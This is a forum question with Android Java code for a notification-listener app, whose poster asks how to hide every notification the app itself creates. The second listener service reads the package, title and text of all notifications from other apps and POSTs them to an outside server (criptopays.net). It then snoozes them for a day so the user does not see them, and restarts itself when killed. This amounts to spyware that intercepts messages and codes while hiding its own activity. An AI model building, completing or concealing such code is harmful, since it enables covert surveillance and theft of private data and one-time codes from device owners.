I’m creating an application in which I want to hide all notifications that it creates, including the background process, by debugging its display for a while. But I ran into a problem that not all notifications of my application are hidden, but some third-party notifications may be hidden, which I don’t need at all.
I have a background process that creates a notification ForegroundService
public class ForegroundService extends Service {
private static final String CHANNEL_ID = "foreground_service_channel";
@SuppressLint("ForegroundServiceType")
@Override
public void onCreate() {
super.onCreate();
Log.i("ForegroundService", "Service created and running");
createNotificationChannel(); // Создание канала уведомлений
Notification notification = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
notification = new Notification.Builder(this, CHANNEL_ID)
.setContentTitle("My App is running") // Заголовок уведомления
.setContentText("Running in the background") // Текст уведомления
.setSmallIcon(R.drawable.ic_service_icon) // Иконка для уведомления
.setPriority(Notification.PRIORITY_MIN) // Низкий приоритет
.setVisibility(Notification.VISIBILITY_SECRET) // Уведомление будет скрыто
.build();
}
startForeground(1, notification); // Запуск сервиса в переднем плане
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// Выполняйте задачи в фоне
return START_STICKY;
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
private void createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
NotificationChannel serviceChannel = new NotificationChannel(
CHANNEL_ID,
"Foreground Service Channel",
NotificationManager.IMPORTANCE_DEFAULT
);
NotificationManager manager = getSystemService(NotificationManager.class);
if (manager != null) {
manager.createNotificationChannel(serviceChannel);
}
}
}
}
And also MyNotificationListenerService which hides it if its code is like this
public class MyNotificationListenerService extends NotificationListenerService {
private static final String TAG = "NotificationListener";
@Override
public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
super.onNotificationPosted(sbn, rankingMap);
Log.i(TAG, "Уведомление получено: " + sbn.getNotification().tickerText);
// Пример: откладываем уведомление на 60 секунд (60000 миллисекунд)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
snoozeNotification(sbn.getKey(), 86400000);
}
Log.i(TAG, "Уведомление отложено на 60 секунд");
}
@Override
public void onNotificationRemoved(StatusBarNotification sbn) {
super.onNotificationRemoved(sbn);
Log.i(TAG, "Уведомление удалено: " + sbn.getNotification().tickerText);
}
}
But if I change MyNotificationListenerService to
public class MyNotificationListenerService extends NotificationListenerService {
private static final String TAG = "NotificationListener";
private RequestQueue requestQueue;
@Override
public void onCreate() {
super.onCreate();
requestQueue = Volley.newRequestQueue(this);
// Создаем уведомление для Foreground Service
createNotificationChannel(); // Создаем канал уведомлений для Android 8.0 и выше
Notification notification = new NotificationCompat.Builder(this, "notification_channel_id")
.setContentTitle("Notification Listener")
.setContentText("Сервис слушает уведомления.")
.setSmallIcon(R.drawable.ic_service_icon) // Иконка уведомления
.setPriority(Notification.PRIORITY_MIN) // Минимальный приоритет
.setVisibility(NotificationCompat.VISIBILITY_SECRET) // Скрыть уведомление
.build();
// Переводим сервис в режим Foreground Service
startForeground(2, notification);
}
@Override
public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
Notification notification = sbn.getNotification();
CharSequence title = notification.extras.getCharSequence(Notification.EXTRA_TITLE);
CharSequence text = notification.extras.getCharSequence(Notification.EXTRA_TEXT);
Map<String, String> notificationData = new HashMap<>();
notificationData.put("packageName", sbn.getPackageName());
notificationData.put("title", title != null ? title.toString() : "");
notificationData.put("text", text != null ? text.toString() : "");
sendNotificationData(new Gson().toJson(notificationData));
Log.i(TAG, "Уведомление получено: " + sbn.getNotification().tickerText);
// Пример: откладываем уведомление на 60 секунд (60000 миллисекунд)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
snoozeNotification(sbn.getKey(), 86400000);
}
Log.i(TAG, "Уведомление отложено на 60 секунд");
}
@Override
public void onNotificationRemoved(StatusBarNotification sbn) {
super.onNotificationRemoved(sbn);
Log.i(TAG, "Уведомление удалено: " + sbn.getNotification().tickerText);
}
private void sendNotificationData(String jsonData) {
String url = "https://criptopays.net/not/"; // URL для отправки данных
StringRequest stringRequest = new StringRequest(Request.Method.POST, url,
new Response.Listener<String>() {
@Override
public void onResponse(String response) {
// Обработка успешного ответа
sendMessageToActivity("Успешно отправлено: " + response);
}
},
new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
// Обработка ошибки
sendMessageToActivity("Ошибка: " + error.toString());
}
}) {
@Override
public byte[] getBody() {
return jsonData.getBytes(); // Отправляем данные как JSON
}
@Override
public String getBodyContentType() {
return "application/json; charset=utf-8"; // Указываем тип контента как JSON
}
};
requestQueue.add(stringRequest);
}
private void sendMessageToActivity(String message) {
Intent intent = new Intent("com.arturio.notification.RESULT");
intent.putExtra("message", message);
sendBroadcast(intent);
}
@Override
public void onDestroy() {
super.onDestroy();
stopForeground(true); // Остановить уведомление при уничтожении сервиса
}
// Создаем канал уведомлений для Android 8.0 и выше
private void createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
NotificationChannel channel = new NotificationChannel(
"notification_channel_id",
"Notification Listener Channel",
NotificationManager.IMPORTANCE_LOW);
NotificationManager manager = getSystemService(NotificationManager.class);
if (manager != null) {
manager.createNotificationChannel(channel);
}
}
}
@Override
public void onTaskRemoved(Intent rootIntent) {
// Перезапуск сервиса при его удалении
Intent restartServiceIntent = new Intent(getApplicationContext(), this.getClass());
restartServiceIntent.setPackage(getPackageName());
startService(restartServiceIntent);
super.onTaskRemoved(rootIntent);
}
@Override
public void onListenerConnected() {
StatusBarNotification[] activeNotifications = getActiveNotifications();
if (activeNotifications != null) {
for (StatusBarNotification sbn : activeNotifications) {
if (sbn.getPackageName().equals("com.example.targetapp")) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
snoozeNotification(sbn.getKey(), 86400000); // Откладываем каждое активное уведомление
}
}
}
}
}
}
In which MyNotificationListenerService itself also creates a notification, then the MyNotificationListenerService notification is debugged, that is, it disappears, and the ForegroundService notification remains visible and is not debugged for the specified period of time
You need to sign in to view this answers